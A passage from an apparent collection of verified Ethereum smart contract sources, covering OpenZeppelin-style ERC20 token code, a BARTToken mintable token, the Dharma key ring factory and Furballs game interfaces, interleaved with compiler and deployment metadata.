= adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity ^0.6.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } pragma solidity 0.6.11; /** * @dev {ERC20} token, including: * * - ability for holders to burn (destroy) their tokens * - a minter role that allows for token minting (creation) * - a pauser role that allows to stop all token transfers * * This contract uses {AccessControl} to lock permissioned functions using the * different roles - head to its documentation for details. * * The account that deploys the contract will be granted the minter and pauser * roles, as well as the default admin role, which will let it grant both minter * and pauser roles to other accounts. */ contract BARTToken is Context, AccessControl, ERC20Burnable { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the * account that deploys the contract. * * See {ERC20-constructor}. */ constructor(string memory name, string memory symbol) public ERC20(name, symbol) { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) public virtual { require(hasRole(MINTER_ROLE, _msgSender()), "BARTToken: must have minter role to mint"); _mint(to, amount); } }

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v0.6.11+commit.5ef660b1

00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000b426172746572547261646500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044241525400000000000000000000000000000000000000000000000000000000

Default

None

ipfs://61906b84d362c94940bafcab25df4aa8805aea9c196157c6a974feb2fc571910

DharmaKeyRingFactoryV1

DharmaKeyRingFactoryV1.sol

0x00dd005247b300f700cfdff89c00e2acc94c7b00

Solidity

pragma solidity 0.5.11; // optimization runs: 200, evm version: petersburg interface DharmaKeyRingFactoryV1Interface { // Fires an event when a new key ring is deployed and initialized. event KeyRingDeployed(address keyRing, address userSigningKey); function newKeyRing( address userSigningKey ) external returns (address keyRing); function newKeyRingAndAdditionalKey( address userSigningKey, address additionalSigningKey, bytes calldata signature ) external returns (address keyRing); function newKeyRingAndDaiWithdrawal( address userSigningKey, address smartWallet, uint256 amount, address recipient, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external returns (address keyRing, bool withdrawalSuccess); function newKeyRingAndUSDCWithdrawal( address userSigningKey, address smartWallet, uint256 amount, address recipient, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external returns (address keyRing, bool withdrawalSuccess); function getNextKeyRing( address userSigningKey ) external view returns (address keyRing); } interface DharmaKeyRingInitializer { function initialize( uint128 adminThreshold, uint128 executorThreshold, address[] calldata keys, uint8[] calldata keyTypes ) external; // selector: 0x30fc201f } interface DharmaKeyRingImplementationV0Interface { enum AdminActionType { AddStandardKey, RemoveStandardKey, SetStandardThreshold, AddAdminKey, RemoveAdminKey, SetAdminThreshold, AddDualKey, RemoveDualKey, SetDualThreshold } function takeAdminAction( AdminActionType adminActionType, uint160 argument, bytes calldata signatures ) external; } interface DharmaSmartWalletImplementationV0Interface { function withdrawDai( uint256 amount, address recipient, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external returns (bool ok); function withdrawUSDC( uint256 amount, address recipient, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external returns (bool ok); } /** * @title KeyRingUpgradeBeaconProxyV1 * @author 0age * @notice This contract delegates all logic, including initialization, to a key * ring implementation contract specified by a hard-coded "upgrade beacon". Note * that this implementation can be reduced in size by stripping out the metadata * hash, or even more significantly by using a minimal upgrade beacon proxy * implemented using raw EVM opcodes. */ contract KeyRingUpgradeBeaconProxyV1 { // Set upgrade beacon address as a constant (i.e. not in contract storage). address private constant _KEY_RING_UPGRADE_BEACON = address( 0x0000000000BDA2152794ac8c76B2dc86cbA57cad ); /** * @notice In the constructor, perform initialization via delegatecall to the * implementation set on the key ring upgrade beacon, supplying initialization * calldata as a constructor argument. The deployment will revert and pass * along the revert reason if the initialization delegatecall reverts. * @param initializationCalldata Calldata to supply when performing the * initialization delegatecall. */ constructor(bytes memory initializationCalldata) public payable { // Delegatecall into the implementation, supplying initialization calldata. (bool ok, ) = _implementation().delegatecall(initializationCalldata); // Revert and include revert data if delegatecall to implementation reverts. if (!ok) { assembly { returndatacopy(0, 0, returndatasize) revert(0, returndatasize) } } } /** * @notice In the fallback, delegate execution to the implementation set on * the key ring upgrade beacon. */ function () external payable { // Delegate execution to implementation contract provided by upgrade beacon. _delegate(_implementation()); } /** * @notice Private view function to get the current implementation from the * key ring upgrade beacon. This is accomplished via a staticcall to the key * ring upgrade beacon with no data, and the beacon will return an abi-encoded * implementation address. * @return implementation Address of the implementation. */ function _implementation() private view returns (address implementation) { // Get the current implementation address from the upgrade beacon. (bool ok, bytes memory returnData) = _KEY_RING_UPGRADE_BEACON.staticcall(""); // Revert and pass along revert message if call to upgrade beacon reverts. require(ok, string(returnData)); // Set the implementation to the address returned from the upgrade beacon. implementation = abi.decode(returnData, (address)); } /** * @notice Private function that delegates execution to an implementation * contract. This is a low level function that doesn't return to its internal * call site. It will return whatever is returned by the implementation to the * external caller, reverting and returning the revert data if implementation * reverts. * @param implementation Address to delegate. */ function _delegate(address implementation) private { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Delegatecall to the implementation, supplying calldata and gas. // Out and outsize are set to zero - instead, use the return buffer. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data from the return buffer. returndatacopy(0, 0, returndatasize) switch result // Delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } } /** * @title DharmaKeyRingFactoryV1 * @author 0age * @notice This contract deploys new Dharma Key Ring instances as "Upgrade * Beacon" proxies that reference a shared implementation contract specified by * the Dharma Key Ring Upgrade Beacon contract. It also supplies methods for * performing additional operations post-deployment, including setting a second * signing key on the keyring and making a withdrawal from the associated smart * wallet. Note that the batch operations may fail, or be applied to the wrong * keyring, if another caller frontruns them by deploying a keyring to the * intended address first. If this becomes an issue, a future version of this * factory can remedy this by passing the target deployment address as an * additional argument and checking for existence of a contract at that address. */ contract DharmaKeyRingFactoryV1 is DharmaKeyRingFactoryV1Interface { // Use DharmaKeyRing initialize selector to construct initialization calldata. bytes4 private constant _INITIALIZE_SELECTOR = bytes4(0x30fc201f); /** * @notice In the constructor, ensure that the initialize selector constant is * correct. */ constructor() public { DharmaKeyRingInitializer initializer; require( initializer.initialize.selector == _INITIALIZE_SELECTOR, "Incorrect initializer selector supplied." ); } /** * @notice Deploy a new key ring contract using the provided user signing key. * @param userSigningKey address The user signing key, supplied as a * constructor argument. * @return The address of the new key ring. */ function newKeyRing( address userSigningKey ) external returns (address keyRing) { // Deploy and initialize a keyring instance and emit a corresponding event. keyRing = _deployNewKeyRing(userSigningKey); } /** * @notice Deploy a new key ring contract using the provided user signing key * and immediately add a second signing key to the key ring. * @param userSigningKey address The user signing key, supplied as a * constructor argument. * @param additionalSigningKey address The second user signing key, supplied * as an argument to `takeAdminAction` on the newly-deployed keyring. * @param signature bytes A signature approving the addition of the second key * that has been signed by the first key. * @return The address of the new key ring. */ function newKeyRingAndAdditionalKey( address userSigningKey, address additionalSigningKey, bytes calldata signature ) external returns (address keyRing) { // Deploy and initialize a keyring instance and emit a corresponding event. keyRing = _deployNewKeyRing(userSigningKey); // Set the additional key on the newly-deployed keyring. DharmaKeyRingImplementationV0Interface(keyRing).takeAdminAction( DharmaKeyRingImplementationV0Interface.AdminActionType.AddDualKey, uint160(additionalSigningKey), signature ); } /** * @notice Deploy a new key ring contract using the provided user signing key * and immediately make a Dai withdrawal from the supplied smart wallet. * @param userSigningKey address The user signing key, supplied as a * constructor argument. * @param smartWallet address The smart wallet to make the withdrawal from and * that has the keyring to be deployed set as its user singing address. * @param amount uint256 The amount of Dai to withdraw. * @param recipient address The account to transfer the withdrawn Dai to. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to the call to the smart wallet - be aware that additional gas * must still be included to account for the cost of overhead incurred up * until the start of the function call. * @param userSignature bytes A signature that resolves to userSigningKey set * on the keyring and resolved using ERC1271. A unique hash returned from * `getCustomActionID` on the smart wallet is prefixed and hashed to create * the message hash for the signature. * @param dharmaSignature bytes A signature that resolves to the public key * returned for the smart wallet from the Dharma Key Registry. A unique hash * returned from `getCustomActionID` on the smart wallet is prefixed and * hashed to create the signed message. * @return The address of the new key ring and the success status of the * withdrawal. */ function newKeyRingAndDaiWithdrawal( address userSigningKey, address smartWallet, uint256 amount, address recipient, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external returns (address keyRing, bool withdrawalSuccess) { // Deploy and initialize a keyring instance and emit a corresponding event. keyRing = _deployNewKeyRing(userSigningKey); // Attempt to withdraw Dai from the provided smart wallet. withdrawalSuccess = DharmaSmartWalletImplementationV0Interface( smartWallet ).withdrawDai( amount, recipient, minimumActionGas, userSignature, dharmaSignature ); } /** * @notice Deploy a new key ring contract using the provided user signing key * and immediately make a USDC withdrawal from the supplied smart wallet. * @param userSigningKey address The user signing key, supplied as a * constructor argument. * @param smartWallet address The smart wallet to make the withdrawal from and * that has the keyring to be deployed set as its user singing address. * @param amount uint256 The amount of USDC to withdraw. * @param recipient address The account to transfer the withdrawn USDC to. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to the call to the smart wallet - be aware that additional gas * must still be included to account for the cost of overhead incurred up * until the start of the function call. * @param userSignature bytes A signature that resolves to userSigningKey set * on the keyring and resolved using ERC1271. A unique hash returned from * `getCustomActionID` on the smart wallet is prefixed and hashed to create * the message hash for the signature. * @param dharmaSignature bytes A signature that resolves to the public key * returned for the smart wallet from the Dharma Key Registry. A unique hash * returned from `getCustomActionID` on the smart wallet is prefixed and * hashed to create the signed message. * @return The address of the new key ring and the success status of the * withdrawal. */ function newKeyRingAndUSDCWithdrawal( address userSigningKey, address smartWallet, uint256 amount, address recipient, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external returns (address keyRing, bool withdrawalSuccess) { // Deploy and initialize a keyring instance and emit a corresponding event. keyRing = _deployNewKeyRing(userSigningKey); // Attempt to withdraw USDC from the provided smart wallet. withdrawalSuccess = DharmaSmartWalletImplementationV0Interface( smartWallet ).withdrawUSDC( amount, recipient, minimumActionGas, userSignature, dharmaSignature ); } /** * @notice View function to find the address of the next key ring address that * will be deployed for a given user signing key. Note that a new value will * be returned if a particular user signing key has been used before. * @param userSigningKey address The user signing key, supplied as a * constructor argument. * @return The future address of the next key ring. */ function getNextKeyRing( address userSigningKey ) external view returns (address keyRing) { // Ensure that a user signing key has been provided. require(userSigningKey != address(0), "No user signing key supplied."); // Get initialization calldata using the initial user signing key. bytes memory initializationCalldata = _constructInitializationCalldata( userSigningKey ); // Determine the user's key ring address based on the user signing key. keyRing = _computeNextAddress(initializationCalldata); } /** * @notice Internal function to deploy a new key ring contract using the * provided user signing key. * @param userSigningKey address The user signing key, supplied as a * constructor argument during deployment. * @return The address of the new key ring. */ function _deployNewKeyRing( address userSigningKey ) internal returns (address keyRing) { // Get initialization calldata using the initial user signing key. bytes memory initializationCalldata = _constructInitializationCalldata( userSigningKey ); // Deploy and initialize new user key ring as an Upgrade Beacon proxy. keyRing = _deployUpgradeBeaconProxyInstance(initializationCalldata); // Emit an event to signal the creation of the new key ring contract. emit KeyRingDeployed(keyRing, userSigningKey); } /** * @notice Private function to deploy an upgrade beacon proxy via `CREATE2`. * @param initializationCalldata bytes The calldata that will be supplied to * the `DELEGATECALL` from the deployed contract to the implementation set on * the upgrade beacon during contract creation. * @return The address of the newly-deployed upgrade beacon proxy. */ function _deployUpgradeBeaconProxyInstance( bytes memory initializationCalldata ) private returns (address upgradeBeaconProxyInstance) { // Place creation code and constructor args of new proxy instance in memory. bytes memory initCode = abi.encodePacked( type(KeyRingUpgradeBeaconProxyV1).creationCode, abi.encode(initializationCalldata) ); // Get salt to use during deployment using the supplied initialization code. (uint256 salt, ) = _getSaltAndTarget(initCode); // Deploy the new upgrade beacon proxy contract using `CREATE2`. assembly { let encoded_data := add(0x20, initCode) // load initialization code. let encoded_size := mload(initCode) // load the init code's length. upgradeBeaconProxyInstance := create2( // call `CREATE2` w/ 4 arguments. callvalue, // forward any supplied endowment. encoded_data, // pass in initialization code. encoded_size, // pass in init code's length. salt // pass in the salt value. ) // Pass along failure message and revert if contract deployment fails. if iszero(upgradeBeaconProxyInstance) { returndatacopy(0, 0, returndatasize) revert(0, returndatasize) } } } function _constructInitializationCalldata( address userSigningKey ) internal pure returns (bytes memory initializationCalldata) { address[] memory keys = new address[](1); keys[0] = userSigningKey; uint8[] memory keyTypes = new uint8[](1); keyTypes[0] = uint8(3); // Dual key type // Get initialization calldata from initialize selector & arguments. initializationCalldata = abi.encodeWithSelector( _INITIALIZE_SELECTOR, 1, 1, keys, keyTypes ); } /** * @notice Private view function for finding the address of the next upgrade * beacon proxy that will be deployed, given a particular initialization * calldata payload. * @param initializationCalldata bytes The calldata that will be supplied to * the `DELEGATECALL` from the deployed contract to the implementation set on * the upgrade beacon during contract creation. * @return The address of the next upgrade beacon proxy contract with the * given initialization calldata. */ function _computeNextAddress( bytes memory initializationCalldata ) private view returns (address target) { // Place creation code and constructor args of the proxy instance in memory. bytes memory initCode = abi.encodePacked( type(KeyRingUpgradeBeaconProxyV1).creationCode, abi.encode(initializationCalldata) ); // Get target address using the constructed initialization code. (, target) = _getSaltAndTarget(initCode); } /** * @notice Private function for determining the salt and the target deployment * address for the next deployed contract (using `CREATE2`) based on the * contract creation code. */ function _getSaltAndTarget( bytes memory initCode ) private view returns (uint256 nonce, address target) { // Get the keccak256 hash of the init code for address derivation. bytes32 initCodeHash = keccak256(initCode); // Set the initial nonce to be provided when constructing the salt. nonce = 0; // Declare variable for code size of derived address. uint256 codeSize; // Loop until an contract deployment address with no code has been found. while (true) { target = address( // derive the target deployment address. uint160( // downcast to match the address type. uint256( // cast to uint to truncate upper digits. keccak256( // compute CREATE2 hash using 4 inputs. abi.encodePacked( // pack all inputs to the hash together. bytes1(0xff), // pass in the control character. address(this), // pass in the address of this contract. nonce, // pass in the salt from above. initCodeHash // pass in hash of contract creation code. ) ) ) ) ); // Determine if a contract is already deployed to the target address. assembly { codeSize := extcodesize(target) } // Exit the loop if no contract is deployed to the target address. if (codeSize == 0) { break; } // Otherwise, increment the nonce and derive a new salt. nonce++; } } }

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v0.5.11+commit.c082d0b4

Default

MIT

bzzr://20204b657952696e6755706772616465426561636f6e50726f78795631202020

Furballs

contracts/editions/IFurballEdition.sol

0x2d004b72d8b7d36f9da2e4a14516618bf53bac57

Solidity

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "../utils/FurLib.sol"; import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /// @title IFurballEdition /// @author LFG Gaming LLC /// @notice Interface for a single edition within Furballs interface IFurballEdition is IERC165 { function index() external view returns(uint8); function count() external view returns(uint16); function maxCount() external view returns (uint16); // total max count in this edition function addCount(address to, uint16 amount) external returns(bool); function liveAt() external view returns(uint64); function minted(address addr) external view returns(uint16); function maxMintable(address addr) external view returns(uint16); function maxAdoptable() external view returns (uint16); // how many can be adopted, out of the max? function purchaseFur() external view returns(uint256); // amount of FUR for buying function spawn() external returns (uint256, uint16); /// @notice Calculates the effects of the loot in a Furball's inventory function modifyReward( FurLib.RewardModifiers memory modifiers, uint256 tokenId ) external view returns(FurLib.RewardModifiers memory); /// @notice Renders a JSON object for tokenURI function tokenMetadata( bytes memory attributes, uint256 tokenId, uint256 number ) external view returns(bytes memory); }

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v0.8.7+commit.e28d00a7

0000000000000000000000000000000000000000000000000000000000000e10

Default

Furballs

contracts/engines/ILootEngine.sol

0x2d004b72d8b7d36f9da2e4a14516618bf53bac57

Solidity

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; import "../editions/IFurballEdition.sol"; import "../utils/FurLib.sol"; /// @title ILootEngine /// @author LFG Gaming LLC /// @notice The loot engine is patchable by replacing the Furballs' engine with a new version interface ILootEngine is IERC165 { /// @notice When a Furball comes back from exploration, potentially give it some loot. function dropLoot(uint32 intervals, FurLib.RewardModifiers memory mods) external returns(uint128); /// @notice Players can pay to re-roll their loot drop on a Furball function upgradeLoot( FurLib.RewardModifiers memory modifiers, address owner, uint128 lootId, uint8 chances ) external returns(uint128); /// @notice Some zones may have preconditions function enterZone(uint256 tokenId, uint32 zone, uint256[] memory team) external returns(uint256); /// @notice Calculates the effects of the loot in a Furball's inventory function modifyReward( FurLib.Furball memory furball, FurLib.RewardModifiers memory baseModifiers, FurLib.Account memory account, bool contextual ) external view returns(FurLib.RewardModifiers memory); /// @notice Loot can have different weight to help prevent over-powering a furball function weightOf(uint128 lootId) external pure returns (uint16); /// @notice JSON object for displaying metadata on OpenSea, etc. function attributesMetadata(uint256 tokenId) external view returns(bytes memory); /// @notice Get a potential snack for the furball by its ID function getSnack(uint32 snack) external view returns(FurLib.Snack memory); /// @notice 